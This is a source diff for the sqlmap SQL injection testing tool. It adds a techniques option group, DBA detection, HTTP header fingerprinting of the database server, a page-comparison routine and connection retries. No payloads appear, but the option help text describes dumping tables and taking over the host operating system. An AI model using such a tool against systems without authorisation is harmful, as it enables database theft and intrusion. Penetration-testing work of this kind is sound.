"the affected parameter(s) rather than using "
|
||||||
|
"the default blind SQL injection technique.")
|
||||||
|
|
||||||
|
techniques.add_option("--stacked-test", dest="stackedTest",
|
||||||
|
action="store_true",
|
||||||
|
help="Test for stacked queries (multiple "
|
||||||
|
"statements) support")
|
||||||
|
|
||||||
|
techniques.add_option("--time-test", dest="timeTest",
|
||||||
|
action="store_true",
|
||||||
|
help="Test for Time based blind SQL injection")
|
||||||
|
|
||||||
|
techniques.add_option("--union-test", dest="unionTest",
|
||||||
|
action="store_true",
|
||||||
|
help="Test for UNION query (inband) SQL injection")
|
||||||
|
|
||||||
|
techniques.add_option("--union-use", dest="unionUse",
|
||||||
|
action="store_true",
|
||||||
|
help="Use the UNION query (inband) SQL injection "
|
||||||
|
"to retrieve the queries output. No "
|
||||||
|
"need to go blind")
|
||||||
|
|
||||||
|
|
||||||
# Fingerprint options
|
# Fingerprint options
|
||||||
fingerprint = OptionGroup(parser, "Fingerprint")
|
fingerprint = OptionGroup(parser, "Fingerprint")
|
||||||
|
|
||||||
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
|
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="Perform an extensive database fingerprint")
|
help="Perform an extensive DBMS version fingerprint")
|
||||||
|
|
||||||
|
|
||||||
# Enumeration options
|
# Enumeration options
|
||||||
enumeration = OptionGroup(parser, "Enumeration", "These options can "
|
enumeration = OptionGroup(parser, "Enumeration", "These options can "
|
||||||
@@ -124,6 +202,10 @@ def cmdLineParser():
|
|||||||
action="store_true",
|
action="store_true",
|
||||||
help="Retrieve DBMS current database")
|
help="Retrieve DBMS current database")
|
||||||
|
|
||||||
|
enumeration.add_option("--is-dba", dest="isDba",
|
||||||
|
action="store_true",
|
||||||
|
help="Detect if the DBMS current user is DBA")
|
||||||
|
|
||||||
enumeration.add_option("--users", dest="getUsers", action="store_true",
|
enumeration.add_option("--users", dest="getUsers", action="store_true",
|
||||||
help="Enumerate DBMS users")
|
help="Enumerate DBMS users")
|
||||||
|
|
||||||
@@ -143,11 +225,11 @@ def cmdLineParser():
|
|||||||
|
|
||||||
enumeration.add_option("--columns", dest="getColumns", action="store_true",
|
enumeration.add_option("--columns", dest="getColumns", action="store_true",
|
||||||
help="Enumerate DBMS database table columns "
|
help="Enumerate DBMS database table columns "
|
||||||
"(req: -T, -D)")
|
"(req:-T opt:-D)")
|
||||||
|
|
||||||
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
|
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
|
||||||
help="Dump DBMS database table entries "
|
help="Dump DBMS database table entries "
|
||||||
"(req: -T, -D opt: -C, --start, --stop)")
|
"(req: -T, opt: -D, -C, --start, --stop)")
|
||||||
|
|
||||||
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
|
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
|
||||||
help="Dump all DBMS databases tables entries")
|
help="Dump all DBMS databases tables entries")
|
||||||
@@ -182,6 +264,7 @@ def cmdLineParser():
|
|||||||
action="store_true",
|
action="store_true",
|
||||||
help="Prompt for an interactive SQL shell")
|
help="Prompt for an interactive SQL shell")
|
||||||
|
|
||||||
|
|
||||||
# File system options
|
# File system options
|
||||||
filesystem = OptionGroup(parser, "File system access", "These options "
|
filesystem = OptionGroup(parser, "File system access", "These options "
|
||||||
"can be used to access the back-end database "
|
"can be used to access the back-end database "
|
||||||
@@ -195,6 +278,7 @@ def cmdLineParser():
|
|||||||
filesystem.add_option("--write-file", dest="wFile",
|
filesystem.add_option("--write-file", dest="wFile",
|
||||||
help="Write to a specific OS file (not yet available)")
|
help="Write to a specific OS file (not yet available)")
|
||||||
|
|
||||||
|
|
||||||
# Takeover options
|
# Takeover options
|
||||||
takeover = OptionGroup(parser, "Operating system access", "This "
|
takeover = OptionGroup(parser, "Operating system access", "This "
|
||||||
"option can be used to access the back-end "
|
"option can be used to access the back-end "
|
||||||
@@ -208,27 +292,15 @@ def cmdLineParser():
|
|||||||
"writable directory within the web "
|
"writable directory within the web "
|
||||||
"server document root for the moment)")
|
"server document root for the moment)")
|
||||||
|
|
||||||
|
|
||||||
# Miscellaneous options
|
# Miscellaneous options
|
||||||
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
||||||
|
|
||||||
miscellaneous.add_option("--union-test", dest="unionTest",
|
|
||||||
action="store_true",
|
|
||||||
help="Test for UNION SELECT (inband) SQL injection")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--union-use", dest="unionUse",
|
|
||||||
action="store_true",
|
|
||||||
help="Use the UNION SELECT (inband) SQL injection "
|
|
||||||
"to retrieve the queries output. No "
|
|
||||||
"need to go blind")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--eta", dest="eta", action="store_true",
|
miscellaneous.add_option("--eta", dest="eta", action="store_true",
|
||||||
help="Retrieve each query output length and "
|
help="Retrieve each query output length and "
|
||||||
"calculate the estimated time of arrival "
|
"calculate the estimated time of arrival "
|
||||||
"in real time")
|
"in real time")
|
||||||
|
|
||||||
miscellaneous.add_option("-v", dest="verbose", type="int",
|
|
||||||
help="Verbosity level: 0-5 (default 0)")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
|
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
|
||||||
help="Update sqlmap to the latest stable version")
|
help="Update sqlmap to the latest stable version")
|
||||||
|
|
||||||
@@ -236,17 +308,17 @@ def cmdLineParser():
|
|||||||
help="Save and resume all data retrieved "
|
help="Save and resume all data retrieved "
|
||||||
"on a session file")
|
"on a session file")
|
||||||
|
|
||||||
miscellaneous.add_option("-c", dest="configFile",
|
|
||||||
help="Load options from a configuration INI file")
|
|
||||||
|
|
||||||
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
|
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
|
||||||
help="Save options on a configuration INI file")
|
help="Save options on a configuration INI file")
|
||||||
|
|
||||||
miscellaneous.add_option("--batch", dest="batch", action="store_true",
|
miscellaneous.add_option("--batch", dest="batch", action="store_true",
|
||||||
help="Never ask for user input, use the default behaviour")
|
help="Never ask for user input, use the default behaviour")
|
||||||
|
|
||||||
|
|
||||||
|
parser.add_option_group(target)
|
||||||
parser.add_option_group(request)
|
parser.add_option_group(request)
|
||||||
parser.add_option_group(injection)
|
parser.add_option_group(injection)
|
||||||
|
parser.add_option_group(techniques)
|
||||||
parser.add_option_group(fingerprint)
|
parser.add_option_group(fingerprint)
|
||||||
parser.add_option_group(enumeration)
|
parser.add_option_group(enumeration)
|
||||||
parser.add_option_group(filesystem)
|
parser.add_option_group(filesystem)
|
||||||
@@ -255,8 +327,8 @@ def cmdLineParser():
|
|||||||
|
|
||||||
(args, _) = parser.parse_args()
|
(args, _) = parser.parse_args()
|
||||||
|
|
||||||
if not args.url and not args.googleDork and not args.configFile and not args.updateAll:
|
if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll:
|
||||||
errMsg = "missing a mandatory parameter ('-u', '-g', '-c' or '--update'), "
|
errMsg = "missing a mandatory parameter ('-u', '-l', '-g', '-c' or '--update'), "
|
||||||
errMsg += "-h for help"
|
errMsg += "-h for help"
|
||||||
parser.error(errMsg)
|
parser.error(errMsg)
|
||||||
|
|
||||||
|
|||||||
@@ -79,15 +79,18 @@ def configFileParser(configFile):
|
|||||||
config = ConfigParser()
|
config = ConfigParser()
|
||||||
config.read(configFile)
|
config.read(configFile)
|
||||||
|
|
||||||
if not config.has_section("Request"):
|
if not config.has_section("Target"):
|
||||||
raise NoSectionError, "Request in the configuration file is mandatory"
|
raise NoSectionError, "Target in the configuration file is mandatory"
|
||||||
|
|
||||||
if not config.has_option("Request", "url") and not config.has_option("Request", "googleDork"):
|
condition = not config.has_option("Target", "url")
|
||||||
|
condition &= not config.has_option("Target", "list")
|
||||||
|
condition &= not config.has_option("Target", "googleDork")
|
||||||
|
|
||||||
|
if condition:
|
||||||
errMsg = "missing a mandatory option in the configuration "
|
errMsg = "missing a mandatory option in the configuration "
|
||||||
errMsg += "file (url or googleDork)"
|
errMsg += "file (url, list or googleDork)"
|
||||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||||
|
|
||||||
|
|
||||||
for family, optionData in optDict.items():
|
for family, optionData in optDict.items():
|
||||||
for option, data in optionData.items():
|
for option, data in optionData.items():
|
||||||
boolean = False
|
boolean = False
|
||||||
|
|||||||
96
lib/parse/handler.py
Normal file
96
lib/parse/handler.py
Normal file
@@ -0,0 +1,96 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
from xml.sax.handler import ContentHandler
|
||||||
|
|
||||||
|
from lib.core.common import sanitizeStr
|
||||||
|
from lib.core.data import kb
|
||||||
|
|
||||||
|
|
||||||
|
class FingerprintHandler(ContentHandler):
|
||||||
|
"""
|
||||||
|
This class defines methods to parse and extract information from
|
||||||
|
the given DBMS banner based upon the data in XML file
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, banner, info):
|
||||||
|
self.__banner = sanitizeStr(banner)
|
||||||
|
|
||||||
|
self.__regexp = None
|
||||||
|
self.__match = None
|
||||||
|
self.__dbmsVersion = None
|
||||||
|
self.__techVersion = None
|
||||||
|
self.__info = info
|
||||||
|
|
||||||
|
|
||||||
|
def __feedInfo(self, key, value):
|
||||||
|
value = sanitizeStr(value)
|
||||||
|
|
||||||
|
if value in ( None, "None" ):
|
||||||
|
return
|
||||||
|
|
||||||
|
if key in ( "dbmsVersion" ):
|
||||||
|
self.__info[key] = value
|
||||||
|
else:
|
||||||
|
if key not in self.__info.keys():
|
||||||
|
self.__info[key] = set()
|
||||||
|
|
||||||
|
for v in value.split("|"):
|
||||||
|
self.__info[key].add(v)
|
||||||
|
|
||||||
|
|
||||||
|
def startElement(self, name, attrs):
|
||||||
|
if name == "regexp":
|
||||||
|
self.__regexp = sanitizeStr(attrs.get("value"))
|
||||||
|
self.__match = re.search(self.__regexp, self.__banner, re.I | re.M)
|
||||||
|
|
||||||
|
if name == "info" and self.__match:
|
||||||
|
self.__feedInfo("type", attrs.get("type"))
|
||||||
|
self.__feedInfo("distrib", attrs.get("distrib"))
|
||||||
|
self.__feedInfo("release", attrs.get("release"))
|
||||||
|
self.__feedInfo("codename", attrs.get("codename"))
|
||||||
|
|
||||||
|
self.__dbmsVersion = sanitizeStr(attrs.get("dbms_version"))
|
||||||
|
self.__techVersion = sanitizeStr(attrs.get("tech_version"))
|
||||||
|
self.__sp = sanitizeStr(attrs.get("sp"))
|
||||||
|
|
||||||
|
if self.__dbmsVersion.isdigit():
|
||||||
|
self.__feedInfo("dbmsVersion", self.__match.group(int(self.__dbmsVersion)))
|
||||||
|
|
||||||
|
if self.__techVersion.isdigit():
|
||||||
|
self.__feedInfo("technology", "%s %s" % (attrs.get("technology"), self.__match.group(int(self.__techVersion))))
|
||||||
|
else:
|
||||||
|
self.__feedInfo("technology", attrs.get("technology"))
|
||||||
|
|
||||||
|
if self.__sp.isdigit():
|
||||||
|
self.__feedInfo("sp", "Service Pack %s" % self.__match.group(int(self.__sp)))
|
||||||
|
|
||||||
|
self.__regexp = None
|
||||||
|
self.__match = None
|
||||||
|
self.__dbmsVersion = None
|
||||||
|
self.__techVersion = None
|
||||||
70
lib/parse/headers.py
Normal file
70
lib/parse/headers.py
Normal file
@@ -0,0 +1,70 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
from xml.sax import parse
|
||||||
|
|
||||||
|
from lib.core.common import checkFile
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import paths
|
||||||
|
from lib.parse.handler import FingerprintHandler
|
||||||
|
|
||||||
|
|
||||||
|
def headersParser(headers):
|
||||||
|
"""
|
||||||
|
This function calls a class that parses the input HTTP headers to
|
||||||
|
fingerprint the back-end database management system operating system
|
||||||
|
and the web application technology
|
||||||
|
"""
|
||||||
|
|
||||||
|
# It is enough to parse the headers on first four HTTP responses
|
||||||
|
if kb.headersCount > 3:
|
||||||
|
return
|
||||||
|
|
||||||
|
kb.headersCount += 1
|
||||||
|
|
||||||
|
topHeaders = {
|
||||||
|
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||||
|
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||||
|
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||||
|
"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||||
|
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||||
|
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||||
|
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||||
|
}
|
||||||
|
|
||||||
|
for header in headers:
|
||||||
|
if header in topHeaders.keys():
|
||||||
|
value = headers[header]
|
||||||
|
xmlfile = topHeaders[header]
|
||||||
|
|
||||||
|
checkFile(xmlfile)
|
||||||
|
|
||||||
|
handler = FingerprintHandler(value, kb.headersFp)
|
||||||
|
|
||||||
|
parse(xmlfile, handler)
|
||||||
|
parse(paths.GENERIC_XML, handler)
|
||||||
@@ -31,6 +31,8 @@ from xml.sax.handler import ContentHandler
|
|||||||
|
|
||||||
from lib.core.common import checkFile
|
from lib.core.common import checkFile
|
||||||
from lib.core.common import sanitizeStr
|
from lib.core.common import sanitizeStr
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import paths
|
||||||
|
|
||||||
|
|
||||||
class htmlHandler(ContentHandler):
|
class htmlHandler(ContentHandler):
|
||||||
@@ -61,15 +63,19 @@ class htmlHandler(ContentHandler):
|
|||||||
self.__match = None
|
self.__match = None
|
||||||
|
|
||||||
|
|
||||||
def htmlParser(page, xmlfile):
|
def htmlParser(page):
|
||||||
"""
|
"""
|
||||||
This function calls a class that parses the input HTML page to
|
This function calls a class that parses the input HTML page to
|
||||||
fingerprint the back-end database management system
|
fingerprint the back-end database management system
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
xmlfile = paths.ERRORS_XML
|
||||||
checkFile(xmlfile)
|
checkFile(xmlfile)
|
||||||
page = sanitizeStr(page)
|
page = sanitizeStr(page)
|
||||||
handler = htmlHandler(page)
|
handler = htmlHandler(page)
|
||||||
parse(xmlfile, handler)
|
parse(xmlfile, handler)
|
||||||
|
|
||||||
|
if handler.dbms and handler.dbms not in kb.htmlFp:
|
||||||
|
kb.htmlFp.append(handler.dbms)
|
||||||
|
|
||||||
return handler.dbms
|
return handler.dbms
|
||||||
|
|||||||
@@ -95,6 +95,14 @@ class queriesHandler(ContentHandler):
|
|||||||
data = sanitizeStr(attrs.get("query"))
|
data = sanitizeStr(attrs.get("query"))
|
||||||
self.__queries.count = data
|
self.__queries.count = data
|
||||||
|
|
||||||
|
elif name == "comment":
|
||||||
|
data = sanitizeStr(attrs.get("query"))
|
||||||
|
self.__queries.comment = data
|
||||||
|
|
||||||
|
elif name == "timedelay":
|
||||||
|
data = sanitizeStr(attrs.get("query"))
|
||||||
|
self.__queries.timedelay = data
|
||||||
|
|
||||||
elif name == "substring":
|
elif name == "substring":
|
||||||
data = sanitizeStr(attrs.get("query"))
|
data = sanitizeStr(attrs.get("query"))
|
||||||
self.__queries.substring = data
|
self.__queries.substring = data
|
||||||
@@ -115,6 +123,10 @@ class queriesHandler(ContentHandler):
|
|||||||
data = sanitizeStr(attrs.get("query"))
|
data = sanitizeStr(attrs.get("query"))
|
||||||
self.__queries.currentDb = data
|
self.__queries.currentDb = data
|
||||||
|
|
||||||
|
elif name == "is_dba":
|
||||||
|
data = sanitizeStr(attrs.get("query"))
|
||||||
|
self.__queries.isDba = data
|
||||||
|
|
||||||
elif name == "inband":
|
elif name == "inband":
|
||||||
self.__inband = sanitizeStr(attrs.get("query"))
|
self.__inband = sanitizeStr(attrs.get("query"))
|
||||||
self.__inband2 = sanitizeStr(attrs.get("query2"))
|
self.__inband2 = sanitizeStr(attrs.get("query2"))
|
||||||
|
|||||||
@@ -29,6 +29,7 @@ import re
|
|||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
|
from lib.parse.headers import headersParser
|
||||||
from lib.parse.html import htmlParser
|
from lib.parse.html import htmlParser
|
||||||
|
|
||||||
|
|
||||||
@@ -51,7 +52,7 @@ def forgeHeaders(cookie, ua):
|
|||||||
return headers
|
return headers
|
||||||
|
|
||||||
|
|
||||||
def parsePage(page):
|
def parseResponse(page, headers):
|
||||||
"""
|
"""
|
||||||
@param page: the page to parse to feed the knowledge base htmlFp
|
@param page: the page to parse to feed the knowledge base htmlFp
|
||||||
(back-end DBMS fingerprint based upon DBMS error messages return
|
(back-end DBMS fingerprint based upon DBMS error messages return
|
||||||
@@ -63,13 +64,11 @@ def parsePage(page):
|
|||||||
like for DBMS error messages (ERRORS_XML), see above.
|
like for DBMS error messages (ERRORS_XML), see above.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if not page:
|
if headers:
|
||||||
return
|
headersParser(headers)
|
||||||
|
|
||||||
htmlParsed = htmlParser(page, paths.ERRORS_XML)
|
if page:
|
||||||
|
htmlParser(page)
|
||||||
if htmlParsed and htmlParsed not in kb.htmlFp:
|
|
||||||
kb.htmlFp.append(htmlParsed)
|
|
||||||
|
|
||||||
# Detect injectable page absolute system path
|
# Detect injectable page absolute system path
|
||||||
# NOTE: this regular expression works if the remote web application
|
# NOTE: this regular expression works if the remote web application
|
||||||
|
|||||||
106
lib/request/comparison.py
Normal file
106
lib/request/comparison.py
Normal file
@@ -0,0 +1,106 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import md5
|
||||||
|
import re
|
||||||
|
|
||||||
|
from lib.core.data import conf
|
||||||
|
|
||||||
|
|
||||||
|
def comparison(page, headers=None, content=False):
|
||||||
|
regExpResults = None
|
||||||
|
|
||||||
|
# String to be excluded before calculating page hash
|
||||||
|
if conf.eString and conf.eString in page:
|
||||||
|
index = page.index(conf.eString)
|
||||||
|
length = len(conf.eString)
|
||||||
|
pageWithoutString = page[:index]
|
||||||
|
pageWithoutString += page[index+length:]
|
||||||
|
page = pageWithoutString
|
||||||
|
|
||||||
|
# Regular expression matches to be excluded before calculating page hash
|
||||||
|
if conf.eRegexp:
|
||||||
|
regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)
|
||||||
|
|
||||||
|
if regExpResults:
|
||||||
|
for regExpResult in regExpResults:
|
||||||
|
index = page.index(regExpResult)
|
||||||
|
length = len(regExpResult)
|
||||||
|
pageWithoutRegExp = page[:index]
|
||||||
|
pageWithoutRegExp += page[index+length:]
|
||||||
|
page = pageWithoutRegExp
|
||||||
|
|
||||||
|
# String to match in page when the query is valid
|
||||||
|
if conf.string:
|
||||||
|
if conf.string in page:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Regular expression to match in page when the query is valid
|
||||||
|
if conf.regexp:
|
||||||
|
if re.search(conf.regexp, page, re.I | re.M):
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# By default it returns the page content MD5 hash
|
||||||
|
if not conf.equalLines and not conf.contentLengths:
|
||||||
|
return md5.new(page).hexdigest()
|
||||||
|
|
||||||
|
# TODO: go ahead from here
|
||||||
|
|
||||||
|
# Comparison algorithm based on Content-Length header value
|
||||||
|
elif conf.contentLengths:
|
||||||
|
minValue = conf.contentLengths[0] - 10
|
||||||
|
maxValue = conf.contentLengths[1] + 10
|
||||||
|
|
||||||
|
if len(page) >= minValue and len(page) <= maxValue:
|
||||||
|
return True
|
||||||
|
|
||||||
|
# Comparison algorithm based on page content's stable lines subset
|
||||||
|
elif conf.equalLines:
|
||||||
|
counter = 0
|
||||||
|
trueLines = 0
|
||||||
|
pageLines = page.split("\n")
|
||||||
|
|
||||||
|
for commonLine in conf.equalLines:
|
||||||
|
if counter >= len(pageLines):
|
||||||
|
break
|
||||||
|
|
||||||
|
if commonLine in pageLines:
|
||||||
|
trueLines += 1
|
||||||
|
|
||||||
|
counter += 1
|
||||||
|
|
||||||
|
# TODO: just debug prints
|
||||||
|
#print "trueLines:", trueLines, "len(conf.equalLines):", len(conf.equalLines)
|
||||||
|
#print "result:", ( trueLines * 100 ) / len(conf.equalLines)
|
||||||
|
|
||||||
|
if ( trueLines * 100 ) / len(conf.equalLines) >= 98:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
@@ -24,10 +24,14 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import httplib
|
||||||
import md5
|
import md5
|
||||||
import re
|
import re
|
||||||
|
import socket
|
||||||
|
import time
|
||||||
import urllib2
|
import urllib2
|
||||||
import urlparse
|
import urlparse
|
||||||
|
import traceback
|
||||||
|
|
||||||
from lib.contrib import multipartpost
|
from lib.contrib import multipartpost
|
||||||
from lib.core.convert import urlencode
|
from lib.core.convert import urlencode
|
||||||
@@ -35,9 +39,10 @@ from lib.core.data import conf
|
|||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapConnectionException
|
from lib.core.exception import sqlmapConnectionException
|
||||||
|
from lib.core.settings import RETRIES
|
||||||
from lib.request.basic import forgeHeaders
|
from lib.request.basic import forgeHeaders
|
||||||
from lib.request.basic import parsePage
|
from lib.request.basic import parseResponse
|
||||||
|
from lib.request.comparison import comparison
|
||||||
|
|
||||||
|
|
||||||
class Connect:
|
class Connect:
|
||||||
@@ -45,6 +50,12 @@ class Connect:
|
|||||||
This class defines methods used to perform HTTP requests
|
This class defines methods used to perform HTTP requests
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def __getPageProxy(**kwargs):
|
||||||
|
return Connect.getPage(**kwargs)
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def getPage(**kwargs):
|
def getPage(**kwargs):
|
||||||
"""
|
"""
|
||||||
@@ -52,6 +63,9 @@ class Connect:
|
|||||||
the target url page content
|
the target url page content
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
|
||||||
|
time.sleep(conf.delay)
|
||||||
|
|
||||||
url = kwargs.get('url', conf.url).replace(" ", "%20")
|
url = kwargs.get('url', conf.url).replace(" ", "%20")
|
||||||
get = kwargs.get('get', None)
|
get = kwargs.get('get', None)
|
||||||
post = kwargs.get('post', None)
|
post = kwargs.get('post', None)
|
||||||
@@ -60,6 +74,7 @@ class Connect:
|
|||||||
direct = kwargs.get('direct', False)
|
direct = kwargs.get('direct', False)
|
||||||
multipart = kwargs.get('multipart', False)
|
multipart = kwargs.get('multipart', False)
|
||||||
|
|
||||||
|
page = ""
|
||||||
cookieStr = ""
|
cookieStr = ""
|
||||||
requestMsg = "HTTP request:\n%s " % conf.method
|
requestMsg = "HTTP request:\n%s " % conf.method
|
||||||
responseMsg = "HTTP response "
|
responseMsg = "HTTP response "
|
||||||
@@ -82,6 +97,7 @@ class Connect:
|
|||||||
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
||||||
conn = multipartOpener.open(url, multipart)
|
conn = multipartOpener.open(url, multipart)
|
||||||
page = conn.read()
|
page = conn.read()
|
||||||
|
|
||||||
return page
|
return page
|
||||||
|
|
||||||
else:
|
else:
|
||||||
@@ -102,7 +118,9 @@ class Connect:
|
|||||||
requestMsg += " HTTP/1.1"
|
requestMsg += " HTTP/1.1"
|
||||||
|
|
||||||
if cookie:
|
if cookie:
|
||||||
cookie = urlencode(cookie).replace("%%", "%")
|
# TODO: sure about encoding the cookie?
|
||||||
|
#cookie = urlencode(cookie).replace("%%", "%")
|
||||||
|
cookie = cookie.replace("%%", "%")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Perform HTTP request
|
# Perform HTTP request
|
||||||
@@ -110,6 +128,9 @@ class Connect:
|
|||||||
req = urllib2.Request(url, post, headers)
|
req = urllib2.Request(url, post, headers)
|
||||||
conn = urllib2.urlopen(req)
|
conn = urllib2.urlopen(req)
|
||||||
|
|
||||||
|
# Reset the number of connection retries
|
||||||
|
conf.retries = 0
|
||||||
|
|
||||||
if not req.has_header("Accept-Encoding"):
|
if not req.has_header("Accept-Encoding"):
|
||||||
requestHeaders += "\nAccept-Encoding: identity"
|
requestHeaders += "\nAccept-Encoding: identity"
|
||||||
|
|
||||||
@@ -156,19 +177,43 @@ class Connect:
|
|||||||
status = e.msg
|
status = e.msg
|
||||||
responseHeaders = e.info()
|
responseHeaders = e.info()
|
||||||
|
|
||||||
except urllib2.URLError, e:
|
except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine), _:
|
||||||
|
tbMsg = traceback.format_exc()
|
||||||
|
|
||||||
|
if "URLError" in tbMsg or "error" in tbMsg:
|
||||||
warnMsg = "unable to connect to the target url"
|
warnMsg = "unable to connect to the target url"
|
||||||
|
|
||||||
if conf.googleDork:
|
elif "timeout" in tbMsg:
|
||||||
|
warnMsg = "connection timed out to the target url"
|
||||||
|
|
||||||
|
elif "BadStatusLine" in tbMsg:
|
||||||
|
warnMsg = "the target url responded with an unknown HTTP "
|
||||||
|
warnMsg += "status code, try to force the HTTP User-Agent "
|
||||||
|
warnMsg += "header with option --user-agent or -a"
|
||||||
|
|
||||||
|
if "BadStatusLine" not in tbMsg:
|
||||||
|
warnMsg += " or proxy"
|
||||||
|
|
||||||
|
if conf.multipleTargets:
|
||||||
warnMsg += ", skipping to next url"
|
warnMsg += ", skipping to next url"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return None
|
return None, None
|
||||||
|
|
||||||
|
if conf.retries < RETRIES:
|
||||||
|
conf.retries += 1
|
||||||
|
|
||||||
|
warnMsg += ", sqlmap is going to retry the request"
|
||||||
|
